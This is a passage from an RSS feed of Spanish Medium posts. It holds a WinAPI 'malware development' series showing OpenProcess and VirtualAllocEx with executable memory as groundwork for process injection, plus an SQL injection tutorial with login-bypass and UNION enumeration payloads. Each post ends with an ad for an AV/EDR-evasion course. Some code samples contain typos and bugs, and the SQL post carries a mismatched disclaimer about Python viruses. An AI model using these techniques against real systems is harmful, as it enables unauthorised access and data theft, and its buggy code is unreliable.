            <content:encoded><![CDATA[<p>Que tal amigos, en la sesión pasada vimos algunos ejemplos de la interacción de WinAPI para poder interactuar con la el sistema operativo, en esta ocasión seguiremos con la misma linea, veamos dos ejemplos más.</p><h3>Obtención de procesos.</h3><p>Para poder ver los procesos y subprocesos del sistema operativo aremos uso de la función <strong>GetCurrentProcessId() </strong>esta función devuelve un número que representa el ID del proceso actual consultado, el ID es un valor único de Windows asignado a cada proceso.</p><p>Esta función no recibe parámetros y devuelve un DWORD (Un entero sin signo de 32 bits) Veámoslo aplicado.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main(){<br><br>    DWORD pid = GetCurrentProcessId();<br>    std:cout &lt;&lt; &quot;El ID del proceso es: &quot; &lt;&lt; pid &lt;&lt; std::endl;<br>    return 0;<br>}</pre><p>Este pequeño ejemplo al ejecutarse nos devolvera el ID del proceso actual, en la entrega pasada vimos con <strong>CreateProcessA </strong>como crear procesos si podemos saber el ID de los procesos esto es veneficioso para hacer inyecciones.</p><h3>Acceder a otro proceso con <strong>OpenProcess()</strong></h3><p><strong>OpenProcess()</strong> es una de las funciones más usadas cuando trabajas con procesos en Windows. Esta función podemos verla mas a detalle:</p><pre>HANDLE OpenProcess(<br>  DWORD dwDesiredAccess,  // Qué permisos quieres sobre el proceso<br>  BOOL bInheritHandle,    // Si los procesos hijos heredan el handle<br>  DWORD dwProcessId       // PID del proceso que quieres abrir<br>);</pre><p><strong>dwDesiredAccess</strong>:</p><p><strong>PROCESS_QUERY_INFORMATION</strong>: Permisos para consultar información básica del proceso.</p><p><strong>PROCESS_TERMINATE</strong>: Permite terminar el proceso.</p><p><strong>PROCESS_VM_READ</strong>: Permite leer la memoria del proceso.</p><p><strong>PROCESS_VM_WRITE</strong>: Permite escribir en la memoria del proceso.</p><p><strong>PROCESS_ALL_ACCESS</strong>: Teda todos los permisos</p><p><strong>bInheriHandle</strong>: <strong>TRUE</strong> para que los procesos hijos puedan heredar ese handle, generalmetne se usa en <strong>FALSE</strong>.</p><p><strong>dwProcessId</strong>: El PID del proceso, que se puede obtener con <strong>GetCurrentProcessId().</strong></p><p>Esto nos va devolver un <strong>HANDLE </strong>para identificar el proceso abierto, si falla nos devolverá un <strong>NULL</strong>, también podemos llamar a <strong>GetLastError()</strong> para saber por qué falló.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main(){<br>    DWORD pid;<br>    std::cout &lt;&lt; &quot;Ingresa el numero de PROCESO: &quot;<br>    std::cin &gt;&gt; pid;<br><br>    HANDLE hProcess = OpenProcess(<br>        PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, <br>        FALSE,<br>        pid<br>    );<br><br>    if (hProcess == NULL) {<br>        std::cerr&lt;&lt; &quot;Fallo en abrir el proceso: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br><br>    std::cout &lt;&lt; &quot;Proceso habierto exitosamente el handle es: &quot; &lt;&lt; hProcess &lt;&lt; &quot; &quot; &lt;&lt; std::endl;<br>}</pre><p>Este ejemplo nos seria muy util para escalar privilegios matando o controlado otros procesos, inyección de código, leyendo y escribiendo en memoria. Veamos esto como un “puente” a otro proceso para poder manipularlo siempre y cuando se tengan permisos suficientes.</p><h3>Asignar memoria en otro proceso.</h3><p>Para la asignación de memoria en otro proceso vamos hacer uso de <strong>VirtualAllocEx</strong> que es la versión “remota” de el ya conocido <strong>VirtualAlloc.</strong></p><p>La estructura es la siguiente:</p><pre>LPVOID VirtualAllocEx(<br>  HANDLE hProcess,      // handle al proceso remoto<br>  LPVOID lpAddress,     // dirección base sugerida (puede ser NULL)<br>  SIZE_T dwSize,        // tamaño de memoria a asignar<br>  DWORD flAllocationType, // tipo de asignación (ej. MEM_COMMIT | MEM_RESERVE)<br>  DWORD flProtect         // permisos de la memoria (ej. PAGE_EXECUTE_READWRITE)<br>);</pre><p><strong>hProcess</strong>: Es el handle del proceso donde quieres reservar memoria.</p><p><strong>lpAddress</strong>: Dirección base donde te gustaría que se reserve memoria, NULL para dejar que Windows elija.</p><p><strong>dwSize</strong>: Numero de bytes a reservar.</p><p><strong>flAllocationType</strong>: La manera en que se reservara la memoria.</p><p><strong>flProtect</strong>: Permisos de la memoria.</p><p>Esto nos va a devolver un puntero a la memoria asignada dentro de proceso remoto.</p><pre>#incldue &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main(){<br>   /*DWORD pid = ####; podemos pasarle el numero del proceso de esta forma o podemos hacerlo de la forma manual<br>     personalmente me gusta ser explicito en ejemplos así que lo hare de manera manual*/<br>    <br>      DWORD pid;<br>      std:cout &lt;&lt; &quot;Ingresa el numero del proceso&quot;;<br>      std::cin &gt;&gt; pid;<br><br>      HANDLE hProcess = OpenProcess(<br>             PROCESS_VM_OPERATION | PROCESS_VM_WRITE, <br>             FALSE, <br>             pid<br>      );<br>      <br>      LPVOID remoteMem = VirtualAllocEx(<br>          hProcess,                <br>          NULL,                    <br>          1024,                    <br>          MEM_COMMIT | MEM_RESERVE,<br>          PAGE_EXECUTE_READWRITE   <br>      );<br>      <br>      if (remoteMem) {<br>          std::cout &lt;&lt; &quot;Memoria asignada en: &quot; &lt;&lt; remoteMem &lt;&lt; std::endl;<br>      } else {<br>          std::cerr &lt;&lt; &quot;VirtualAllocEx fallo. Error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>      }<br>}</pre><p>Como se puede ver aquí usamos funciones y pasos ya estudiados para poder hacer la asignación remota de la memoria, para este paso ya se debe tener identificado el numero del proceso que vamos a asignar memoria y conocimiento de las funciones de WinAPI, este es un paso crítico para técnicas de inyección avanzada.</p><p>Con esto terminaremos los ejemplos en esta ocación, estudialos y observa la memoria de no solo asignar memoria en otros procesos si no tambien de poder hacer algo un poco mas malicioso.</p><p>Happy Hacking!</p><h3>¿Quieres llevar esto al siguiente nivel?</h3><p>En este artículo vimos la base de la ejecución de código en memoria.<br> Pero en entornos reales esto es solo el inicio.</p><p>En mi entrenamiento profundizo en:</p><ul><li>desarrollo de loaders evasivos</li><li>ejecución de shellcode sin detección</li><li>bypass de antivirus y EDR</li><li>uso avanzado de WinAPI en escenarios reales</li></ul><p>👉 Puedes ver el contenido completo aquí:<br> 👉 <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp">https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0z2c1S1-xy0Gwt02ZVhZA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6629f95feda4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducción a la API de Windows Para el desarrollo de malware, parte 1.]]></title>
            <link>https://dalthon.medium.com/introducci%C3%B3n-a-la-api-de-windows-para-el-desarrollo-de-malware-parte-1-051bcdbd09fd?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/051bcdbd09fd</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[red-team-tools]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[malware-development]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Thu, 04 Sep 2025 03:56:54 GMT</pubDate>
            <atom:updated>2026-04-12T23:25:12.120Z</atom:updated>
            <content:encoded><![CDATA[<p>La Windows API son el conjunto de funciones nativas que el sistema operativo Windows ofrece para interactuar directamente con sus componentes: desde la gestión de memoria y procesos, hasta el acceso al sistema de archivos, red y GUI. Comprender este ecosistema no solo es esencial para el desarrollo de aplicaciones legítimas, sino también para entender las técnicas y mecanismos empleados por el malware moderno.</p><p>En el ámbito de la ciberseguridad, el estudio de la WinAPI es especialmente relevante para comprende las técnicas utilizadas por el software malicioso y, a su vez, diseñar defensas más eficaces. Lejos de ser una herramienta exclusiva de los atacantes, el conocimiento profundo de estas funciones es indispensable para analistas, investigares y profesionales que participan en operaciones de Red Teaming.</p><p>Windows distingue el acceso al hadware mediante dos modos distintos: modo usuario y modo kernel. Las API o llamadas del sistema interactúan entre cada modo y envían información al sistema para su procesamiento.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwY6lYy0UTSzoQBjksDQmg.png" /></figure><p>Cuando hablamos del desarrollo de malware generalmente hablamos de lenguajes de bajo nivel, en este caso usaremos C++ y para aprovechar realmete el poder de C++ en Windows se debe ir más allá de la biblioteca estándar e interactuar directamente con la API de Windows, un amplio conjunto de funciones nativas proporcionadas por el mismo sistema operativo para interactura con procesos, memoria, archivos, ventanas y el propio Kernel.</p><p>Pero a demas de la API de Windows tambien usaremos:</p><p><strong>VirtualAlloc</strong>: Para reservar, confirmar y modificar el estado de regiones de memoria dentro de su propio espacio de direcciones virtuales.</p><p><strong>VirtualFree</strong>: Para liberar memoria signada en otro proceso.</p><p><strong>CreateProces</strong> y <strong>TerminateProcess</strong>: Para crear, suspender y finalizar procesos.</p><p><strong>CreateFile</strong>, <strong>ReadFile </strong>y <strong>WriteFile</strong>: Para la interaccion con el sistema de archivos.</p><p><strong>HANDLE</strong>, <strong>DWORD</strong>, <strong>LPVOID</strong> Y <strong>LPCSTR:</strong> Para trabajar con identificadores y tipos de datos nativos.</p><p>Envio de mensajes con MessageBox:</p><pre>#include &lt;windows.h&gt;   //Cabecera necesaria para interactar con la API<br><br>int main(){<br>    MessageBoxA(                  //Función que mostrara una ventana emergente <br>       NULL,                      //Si el parametro es NULL el cuatdo de mensaje no tiene nunguna ventana<br>       &quot;Hola Mundo&quot;,              // Mensaje a mostrar <br>       &quot;Uso de la API&quot;,           //Titulo de la ventana  <br>       MB_OK | MB_ICONINFORMATION //El cuadro de mensaje tiene un boton ok y un icono que consta de una letra minúscula i en un círculo aparece en el cuadro de mensaje.<br>    );<br><br>    return 0;<br>}</pre><p>Con este ejemplo podemos ver como lanzar una ventana emergente del sistema operativo.</p><p>Otro ejemplo que podemos ver es la asignación de memoria con VirtualAlloc.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main(){<br><br>    LPVOID mem = VirtualAlloc(<br>        NULL,<br>        1024,<br>        MEM_COMMIT | MEM_RESERVE,<br>        PAGE_READWRITE<br>    );<br><br>if (mem = NULL) {<br>    std::cerr &lt;&lt; &quot;Fallo en la asignación de memoria&quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>    return 1;<br>}<br><br>strcpy_s((char*)mem, 1024, &quot;Asignación de memoria via WinAPI&quot;);<br><br>std::cout &lt;&lt;&quot;Contenido de memoria: &quot; &lt;&lt; (char*)mem &lt;&lt; std::endl;<br><br>VirtualFree(mem, 0, MEM_RELEASE);<br><br>return 0;</pre><p>En este ejemplo podemos ver la asignación de memoria haciendo uso de la API de Windows, pero vamos a desglosarlo.</p><p><strong>LPVOID</strong>: Es un puntero genérico a void, si falla la variable (mem) sera NULL.</p><pre>LPVOID mem = VirtualAlloc(<br>    NULL,                      // Deja que Windows eliga automáticamente donde reservar la memoria<br>    1024,                      // Tamaño para reservar y comprometer en bytes 1024 reservará almenos 4KB<br>    MEM_COMMIT | MEM_RESERVE,  // MEM_COMMIT Reserva un rango de direcciones virtuales, MEM_COMMIT Asigna espacio físico en ese rango<br>    PAGE_READWRITE             // Establece la protección de la memoria, en este casi lectura y escrit<br>);</pre><p>Como se menciono si el <strong>mem</strong> es null sera un fallo, esto es manejado con la condición if, la cual la salida sera un 1.</p><pre>if (mem = NULL) {<br>    std::cerr &lt;&lt; &quot;Fallo en la asignación de memoria&quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>    return 1;<br>}</pre><p>Si <strong>mem</strong> no es <strong>NULL</strong> entonces será una asignación de memoria exitoso, en tal caso podremos escribir en el espacio reservado para memoria en <strong>mem</strong>, esto lo podemos hacer con el uso de la función <strong>strcpy_s </strong>para copiar en ese espacio reservado y ademas de esto podemos leer este contenido haciendo un <strong>cast</strong> de char a <strong>mem</strong>.</p><pre>errno_t strcpy_s(<br>    char *dest,        // Buffer destino, casteando la variable mem<br>    rsize_t destsz,    // Tamaño del buffer destino (en bytes)<br>    const char *src    // Cadena fuente<br>);</pre><p>En este caso usamos esta función ya que estamos copiando una cadena, la lectura de este dato en memoria es tan fácil como hacer un cast a <strong>mem.</strong></p><pre>std::cout &lt;&lt;&quot;Contenido de memoria: &quot; &lt;&lt; (char*)mem &lt;&lt; std::endl;</pre><p>Para poder finalizar el programa debemos liberar este espacio en memoria, si no la liberamos esto puede dar pie a un <strong>memory leak, </strong>para poder liberar la memoria usaremos <strong>VirtualFree.</strong></p><pre>BOOL VirtualFree(<br>    LPVOID lpAddress,  // Dirección base de la memoria mem en este caso<br>    SIZE_T dwSize,     // Tamaño a liberar (en bytes) Cuando usas MEM_RELEASE, este valor debe ser 0<br>    DWORD  dwFreeType  // Tipo de liberación MEM_RELEASE: Libera todo el bloque y la reserva de direccione<br>);</pre><p>Creación de un nueo proceso con <strong>CreateProcessA.</strong></p><p>En este ejemplo crearemos un nuevo proceso notepad.exe y esperaremos a que termine.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>int main() {<br>    STARTUPINFOA si = { sizeof(si) };  <br>    PROCESS_INFORMATION pi;           <br><br>  <br>    LPCSTR appName = &quot;C:\\Windows\\System32\\notepad.exe&quot;;<br><br>    <br>    BOOL success = CreateProcessA(<br>        appName,       <br>        NULL,          <br>        NULL,         <br>        NULL,          <br>        FALSE,        <br>        0,             <br>        NULL,          <br>        NULL,          <br>        &amp;si,           <br>        &amp;pi           <br>    );<br><br>    if (!success) {<br>        std::cerr &lt;&lt; &quot;Fallo al crear proceso &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br><br>    std::cout &lt;&lt; &quot;Proceso creado PID: &quot; &lt;&lt; pi.dwProcessId &lt;&lt; std::endl;<br><br>    <br>    WaitForSingleObject(pi.hProcess, INFINITE);<br><br>    <br>    CloseHandle(pi.hProcess);<br>    CloseHandle(pi.hThread);<br><br>    return 0;<br>}</pre><p>Procedamos a desglosar el código:</p><pre>STARTUPINFOA si = { sizeof(si) };  // Inicializa la estructura STARTUPINFO el cual contiene información sobre cómo se debe iniciar el proceso<br>PROCESS_INFORMATION pi;           // Estructura que recibirá información del proceso creado</pre><p><strong>STARTUPINFOA </strong>es una estructura que se usa con <strong>CreateProcessA p</strong>ara controrar cómo se incia un proceso.</p><pre>typedef struct _STARTUPINFOA {<br>    DWORD  cb;                  // Tamaño de la estructura en bytes<br>    LPSTR  lpReserved;          // Reservado, debe ser NULL<br>    LPSTR  lpDesktop;           // Escritorio de la ventana (p.ej., &quot;winsta0\\default&quot;)<br>    LPSTR  lpTitle;             // Título de la ventana de la consola<br>    DWORD  dwX;                 // Posición horizontal inicial de la ventana<br>    DWORD  dwY;                 // Posición vertical inicial de la ventana<br>    DWORD  dwXSize;             // Ancho inicial de la ventana<br>    DWORD  dwYSize;             // Alto inicial de la ventana<br>    DWORD  dwXCountChars;       // Columnas de caracteres<br>    DWORD  dwYCountChars;       // Filas de caracteres<br>    DWORD  dwFillAttribute;     // Atributo de relleno<br>    DWORD  dwFlags;             // Flags de inicio (p.ej., STARTF_USESHOWWINDOW)<br>    WORD   wShowWindow;         // Cómo mostrar la ventana (p.ej., SW_SHOW)<br>    WORD   cbReserved2;         // Reservado<br>    LPBYTE lpReserved2;         // Reservado<br>    HANDLE hStdInput;           // Handle de entrada estándar<br>    HANDLE hStdOutput;          // Handle de salida estándar<br>    HANDLE hStdError;           // Handle de error estándar<br>} STARTUPINFOA, *LPSTARTUPINFOA;</pre><p><strong>cb</strong>: Tamaño de la estructura.</p><p><strong>dwFlags</strong>: Flags para indicar qué campos se usan.</p><p><strong>wShowWindow</strong>: Controla cómo se muestra la ventana.</p><p><strong>hsIntput/Output/Error</strong>: Punteros a handles para redirigr entrada/salia/errores</p><p><strong>ldDesktop</strong>: Escritorio donde se creará la ventana.</p><p><strong>lpTitle</strong>: Titulo de la ventana</p><p><strong>PROCESS_INFORMATION</strong> es una estructura que se utiliza con funciones como <strong>CreateProcess.</strong></p><pre>typedef struct _PROCESS_INFORMATION {<br>    HANDLE hProcess;      // Handle del proceso<br>    HANDLE hThread;       // Handle del hilo principal<br>    DWORD  dwProcessId;   // ID del proceso<br>    DWORD  dwThreadId;    // ID del hilo principal<br>} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;</pre><p><strong>hProcess</strong>: Handle del proceso recién creado.</p><p><strong>hThread</strong>: Handle al hilo principal del proceso.</p><p><strong>dwProcessId</strong>: ID único del proceso asignado por Windows.</p><p><strong>dwThreadId</strong>: ID del hilo principal.</p><p>Debemos señalar la ruta del ejecutable:</p><pre>LPCSTR appName = &quot;C:\\Windows\\System32\\notepad.exe&quot;;</pre><p><strong>LPCSTR</strong>: Puntero a cadena ANSI</p><pre>BOOL CreateProcessA(<br>    LPCSTR                lpApplicationName,        // Ruta del ejecutable<br>    LPSTR                 lpCommandLine,            // Línea de comandos (puede ser NULL)<br>    LPSECURITY_ATTRIBUTES lpProcessAttributes,      // Seguridad del proceso<br>    LPSECURITY_ATTRIBUTES lpThreadAttributes,       // Seguridad del hilo<br>    BOOL                  bInheritHandles,          // Hereda handles de este proceso<br>    DWORD                 dwCreationFlags,          // Flags de creación (p.ej., CREATE_NEW_CONSOLE)<br>    LPVOID                lpEnvironment,            // Variables de entorno (NULL = hereda del proceso padre)<br>    LPCSTR                lpCurrentDirectory,       // Directorio de trabajo (NULL = directorio actual)<br>    LPSTARTUPINFOA        lpStartupInfo,            // Información de inicio (ventana, I/O)<br>    LPPROCESS_INFORMATION lpProcessInformation      // Recibe info del proceso/hilo<br>);</pre><p>Esta estructura nos dara dos valores de retorno <strong>TRUE</strong> y <strong>FALSE </strong>en dado caso de que sea FALSE se usara <strong>GetLastError() </strong>para saber el error.</p><pre>if (!success) {<br>        std::cerr &lt;&lt; &quot;Fallo al crear proceso &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }</pre><p>Des podemos saber el PID del proceso, para esto podemos usar <strong>dwProcessId </strong>el cual es un <strong>DWORD</strong> que contiene un ID único del proceso recién creado.</p><pre>std::cout &lt;&lt; &quot;Proceso creado PID: &quot; &lt;&lt; pi.dwProcessId &lt;&lt; std::endl;</pre><p>Este PID es un número que Windows asigna automáticamente a cada procso en ejecución, sirve para identifcar y manipular el proceo desde tu programa u otras herramientas del sistema.</p><p>En la parte final del programa podemos encontrar:</p><pre>WaitForSingleObject(pi.hProcess, INFINITE);<br><br>    <br>    CloseHandle(pi.hProcess);<br>    CloseHandle(pi.hThread);</pre><p><strong>WaitForSingleObject </strong>espera a que el proceso al que apunta pi.hProcess termine <strong>INFINITE </strong>significa que espera indefinidamente hasta que el proceso finalice.</p><pre>DWORD WaitForSingleObject(<br>    HANDLE hHandle,       // Handle al objeto (proceso, hilo, mutex, etc.)<br>    DWORD dwMilliseconds  // Tiempo máximo a esperar (INFINITE = indefinido)<br>);</pre><p>Finalmente CloseHandle:</p><p>Libera el handle de Windows para el recurso, no termina el proceso ni el hilo; solo libera el descriptor en el programa. Si no cierras los handles, el programa puede tener fugas de recursos.</p><pre>BOOL CloseHandle(<br>    HANDLE hObject  // Handle al recurso que quieres cerrar<br>);</pre><p><strong>hObject</strong>: Cualquier handle válido devuelto por funciones de Windows, ya sea <strong>CreateProcess</strong>, <strong>CreateFile</strong>, <strong>CreateThread</strong>.</p><p>Retorna un <strong>True</strong> si se cerro exitosamente y <strong>FALSE </strong>para un error, aqui seguimos usando <strong>GetLastError()</strong> para obtener información.</p><p>Estos son uno de los usos de WinAP, evidentemete se puden usar para realizar cosas maliciosas, pero en esta ocasión lo dejaremos aquí, en la próximas entregas andaremos en otras funciones.</p><p>Happy Hacking!</p><h3>¿Quieres llevar esto al siguiente nivel?</h3><p>En este artículo vimos la base de la ejecución de código en memoria.<br> Pero en entornos reales esto es solo el inicio.</p><p>En mi entrenamiento profundizo en:</p><ul><li>desarrollo de loaders evasivos</li><li>ejecución de shellcode sin detección</li><li>bypass de antivirus y EDR</li><li>uso avanzado de WinAPI en escenarios reales</li></ul><p>👉 Puedes ver el contenido completo aquí:<br> 👉 <a href="https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp">https://academy.spartan-cybersec.com/l/pdp/curso-de-desarrollo-ofensivo-en-windows-con-c-plus-cdowcp</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0z2c1S1-xy0Gwt02ZVhZA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=051bcdbd09fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inyecciones SQL]]></title>
            <link>https://dalthon.medium.com/inyecciones-sql-505eef46dd88?source=rss-db94f4643a55------2</link>
            <guid isPermaLink="false">https://medium.com/p/505eef46dd88</guid>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Dalton]]></dc:creator>
            <pubDate>Fri, 12 May 2023 19:20:18 GMT</pubDate>
            <atom:updated>2023-05-12T19:20:18.037Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*h2Vk2phLrhkuJQMZ7hOFyQ.png" /></figure><p>Hola, ya se que ha pasado mucho tiempo desde la ultima vez que realice algún escrito aquí, ahora estoy estudiando para la certificación eJPT/CPTS así que les traigo este articulo sobre inyecciones SQL, espero que sea de su agrado y que puedan aprender algo nuevo o recordar cosas viejas.</p><p>Cabe destacar, que para este articulo ya debes tener conocimiento en el lenguaje SQL.</p><h3>Descargo de responsabilidad</h3><p><strong>Este tutorial le mostrará como escribir un virus en Python. Sin embargo, NO te animo a escribir un virus (ni en Python ni en NINGÚN OTRO LENGUAJE), sin fines académicos.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*kcjJqk-GIbRZHnNV.jpeg" /></figure><p>Las inyecciones de SQL es una vulnerabilidad de las aplicaciones web que permite interferir con las consultas que esta misma realiza a una base de datos, esto permite ver datos que normalmente no se deberían ver, como información id de otros usuarios, contraseñas, información oculta etc.</p><p>Este articulo vamos a aprender como realizar ataques de SQL básicos.</p><p>Hay una amplia variedad, técnicas y ataques de inyecciones de SQL, para diferentes situaciones, como:</p><p>Recuperación de datos.</p><p>Subvertir la lógica de la aplicación.</p><p>Ataques UNION.</p><p>Examinar la base de datos.</p><p>Inyección ciega de SQL.</p><p>Subvirtiendo la lógica.</p><p>La primer técnica que veremos será la omisión de autenticación, con esta técnica vamos a saltarnos el login de una aplicación.</p><p>Generalmente una aplicación contendrá algún panel de acceso para el administrador o los usuarios autorizados a esas zonas, muy genéricamente puede tener este aspecto:</p><p>Esto siempre genera alguna consulta a la base de datos pare la validación de las credenciales, la consulta que se puede estar ejecutando es la siguiente:</p><p>SELECT * FROM logins WHERE username=’admin’ AND password = ‘p@ssw0rd’;</p><p>Esta consulta tomara las credenciales y con el operador AND seleccionara las credenciales que coincidan con los proporcionados por el usuario.</p><p>Si el usuario introduce credenciales no validas como en la siguiente consulta, esto arrojaría algún error:</p><p>SELECT * FROM logins WHERE username=’admin’ AND password = ‘admin’;</p><p>Esto nos puede dar una idea de como esta echa la aplicación.</p><p><strong>Descubrimiento de SQLi</strong></p><p>Antes de empezar a subvertir la lógica de una aplicación es importante saber que se tiene que probar el formulario web para saber si este es vulnerable, para hacer esto podemos introducir alguna de los siguientes Payloads</p><p>Carga útil URL codificada</p><p>‘ %27</p><p>“ %22</p><p># %23</p><p>; %3B</p><p>) %29</p><p>Cada uno de estos payloads provocara un error de sintaxis en la base de datos, introduciendo alguno de los payloads la consulta quedaría así:</p><pre>SELECT * FROM logins WHERE username=&#39;&#39;&#39; AND password = &#39;something&#39;;</pre><p>Si esto general algún error de sintaxis visible en la pagina web, esto nos indica que la aplicación es vulnerable a SLQi, a partir de aquí podemos empezar a subvertir la lógica de la aplicación.</p><p>Para empezar esto debemos saber que necesitamos que la consulta de vuelva a true independientemente del usuario y contraseña.</p><p>Si revisamos la documentación de SQL esta nos dice que en la precedencia de operadores establece que el operador AND se evalúa antes que el OR, es decir que si hay almenos una condición TRUE en la consulta junto con un OR, la consulta evaluara como TRUE si OR devuelve un TRUE.</p><p>Un ejemplo de esto es ‘1’=’1’ que siempre es TRUE, este es el primer payload que podemos usar para saltar el login, sin embargo para que funcione debemos modificarla 1’=’1 quitando la comilla de inicio y de final quedando:</p><pre>admin&#39; or &#39;1&#39;=&#39;1</pre><p>La consulta final que se hace a la base de datos seria la siguiente:</p><pre>SELECT * FROM logins WHERE username=&#39;admin&#39; or &#39;1&#39;=&#39;1&#39; AND password = &#39;something&#39;;</pre><p>Esta seria en groso modo la forma en la que se interpreta la consulta SQL en la base datos y el por que nos permite saltarnos el login: El operador AND operador será evaluado primero y devolverá FALSE, entonces el operador OR seria evaluado y si alguna de las sentencias es TRUE, devolvería TRUE, como 1=1 siempre devuelve TRUE, esta devuelve TRUE y nos da acceso.</p><p><strong>Bypass de la autenticación usando OR.</strong></p><p>En el ejemplo pasado esto funciona, pero que pasaría si no conocemos el nombre de usuario:</p><pre>SELECT * FROM logins WHERE username=&#39;NotAdmin&#39; or &#39;1&#39;=&#39;1&#39; AND password = &#39;something&#39;;</pre><p>El inicio de sesión fallaría y se vería así.</p><p>Para iniciar sesión necesitamos que nuestra consulta general devuelva a TRUE, esto lo podemos generar inyectando algún OR en el campo de la contraseña, para así subvertirla la lógica de la contraseña:</p><pre>SELECT * FROM logins WHERE username=&#39;NotAdmin&#39; or &#39;1&#39;=&#39;1&#39; AND password = &#39;something or &#39;1&#39;=&#39;1&#39;;</pre><p>De esta forma lograríamos saltar el inicio de sesión del usuario.</p><p><strong>Usando Comentarios.</strong></p><p>Hay otra manera de realizar el bypass del login usando comentarios, SQL tiene comentarios como cualquier otro lenguaje, estos pueden ser “#” o “’ — “, el bypass de la autenticación seria:</p><pre>SELECT * FROM logins WHERE username=&#39;admin&#39;-- -&#39; AND password = &#39;something&#39;;</pre><p>Esto comenta el resto de la sintaxis dejándonos autenticarnos sin necesidad de una contraseña.</p><p><strong>Nota: </strong>Con una buena enumeración y con una aplicación vulnerable es posible eludir el login,</p><p>La regla casi siempre general es poner el comentario de esta forma “ ‘ — — “</p><pre>SELECT * FROM logins WHERE username=&#39;admin@htb.com&#39;-- -&#39; AND password = &#39;something&#39;;</pre><p>En SQL podemos hacer uso de paréntesis para verificar condiciones particulares antes que otras, estas expresiones tienen prioridad sobre otros operadores y se evalúan primero, esta forma sería: admin’) —</p><p>Por lo que la consulta quedaría:</p><pre>SELECT * FROM logins where (username=&#39;admin&#39;)</pre><p>Lo cual también nos permitiría saltarnos el login</p><p><strong>Ataques de UNION</strong></p><p>Este tipo de ataque sirve para cuando una aplicación es vulnerable a taques SQL, la palabra UNION nos puede ayudar a recuperar datos de otras tablas dentro de la BD, en algunos casos la consulta generalmente no tendrá la misma cantidad de columnas que la consulta SQL, para esto podemos usar la palabra SELECT para ejecutar consultas adicionales y agregar los resultados a la consulta original, por ejemplo:</p><pre>SELECT a, b FORM table1 UNION SELECT c, d FROM table2</pre><p>Esta consulta devuelve solo un conjunto de resultados con dos columnas, que contiene valores de columnas a y b en table1 y c y d en table2</p><p><strong>Detectar número de columnas</strong></p><p>Si tenemos detectada la vulnerabilidad en un texbox dentro de la aplicación podemos intentar un ataque UNION para detectar el numero de columnas que existen, para esto podemos usar dos clausulas</p><p>ORDER BY</p><p>UNION</p><p>ORDE BY puede detectar el número de columnas, para hacer uso de esto tenemos que inyectar una columna que ordene los resultados por una columna que especificamos, podemos iniciar con order by 1, luego order by 2, luego order by 1,</p><p>Y así sucesivamente hasta que la aplicación nos arroje un error, entonces cuando nos genere el error esto nos dirá cuantas columnas tiene si esto falla en ORDER BY 4 significa que se tienen 3 columnas en la BD, el payload seria:</p><pre>&#39; order by 1-- -</pre><p><strong>Usando UNION</strong></p><p>El uso de la sentencia unión es un poco mas practica ya que esta nos permite simplemente agregar el número de columnas en el payload, y en donde falle significa que ya rebasamos el numero de columnas, ejemplo:</p><pre>&#39; UNION select 1,2,3,4-- -</pre><p>Ahora teniendo la cantidad de columnas que existen en la base de datos podemos empezar a enumerar la misma insertando comandos propios de SQL</p><pre>&#39; UNION select 1,@@version,3,4-- -</pre><p>La tabla SCHEMA de la BD IINFORMATION_ESCHEMA contiene información sobre toda las bases de datos del servidor.</p><pre>&#39; UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA--</pre><p>Podemos encontrar la BD actual usando database()</p><pre>&#39; UNION select 1,database(),2,3-- -</pre><p>Para encontrar los tables dentro de una DB podemos usar TABLES en INFORMATION_ESCHEMA, la tabla TABLES contiene información sobre todas las tablas de la base de datos, esta tabla contiene carias columnas, pero la que nos interesa es TABLE_SCHEMA y TABLE_NAME que almacena los nombres de las tablas y TABLE_SCHEMA apunta a la base de datos a la que pertenece cada tabla, suponiendo que tenemos una tabla llamada “dalt” el payload seria:</p><pre>&#39; UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema=&#39;dalt&#39;-- -</pre><p>Teniendo esto para volcar la credenciales de las columnas podemos usar la sentencia 